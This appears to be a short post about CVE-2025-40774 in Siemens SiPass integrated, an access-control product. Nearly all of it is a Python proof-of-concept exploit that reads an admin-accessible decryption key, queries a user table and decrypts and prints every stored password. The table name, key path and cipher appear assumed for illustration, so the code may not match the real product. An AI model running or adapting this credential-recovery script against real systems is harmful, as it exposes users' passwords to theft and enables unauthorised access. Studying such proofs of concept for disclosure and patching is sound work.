CVE-2025-40774：Siemens SiPass integrated密码明文恢复漏洞

# CVE-2025-40774 - SiPass integrated Password Recovery Exploit # This PoC demonstrates the concept of exploiting accessible decryption keys # to recover plaintext user passwords from SiPass integrated database. import hashlib import base64 from cryptography.fernet import Fernet class SiPassPasswordRecovery: """ PoC for CVE-2025-40774: Siemens SiPass integrated < V3.0 Demonstrates how an admin user can access decryption keys and recover encrypted user passwords from the database. """ def __init__(self, admin_key_path, db_connection): # Admin user has access to the decryption key (vulnerability) self.admin_key = self._load_admin_key(admin_key_path) self.cipher = Fernet(self.admin_key) self.db = db_connection def _load_admin_key(self, key_path): """Simulate loading the accessible decryption key as an admin user""" # In vulnerable versions, this key is accessible to admin users with open(key_path, 'rb') as f: return f.read() def fetch_encrypted_passwords(self): """Fetch encrypted passwords from the SiPass database""" # Query the user credentials table query = "SELECT username, encrypted_password FROM sipass_users" cursor = self.db.cursor() cursor.execute(query) return cursor.fetchall() def decrypt_password(self, encrypted_password): """Decrypt a single user password using the accessible key""" try: decrypted = self.cipher.decrypt(encrypted_password.encode()) return decrypted.decode() except Exception as e: return f"Decryption failed: {e}" def exploit(self): """Main exploit chain: recover all user passwords""" print("[*] CVE-2025-40774 - SiPass integrated Password Recovery") print("[*] Accessing decryption key with admin privileges...") encrypted_users = self.fetch_encrypted_passwords() print(f"[*] Found {len(encrypted_users)} encrypted user passwords") recovered_credentials = {} for username, enc_pwd in encrypted_users: plaintext_pwd = self.decrypt_password(enc_pwd) recovered_credentials[username] = plaintext_pwd print(f"[+] {username}: {plaintext_pwd}") return recovered_credentials # Usage example (requires admin access to SiPass integrated server) # recovered = SiPassPasswordRecovery( # admin_key_path='/opt/sipass/keys/decryption.key', # db_connection=db_conn # ).exploit()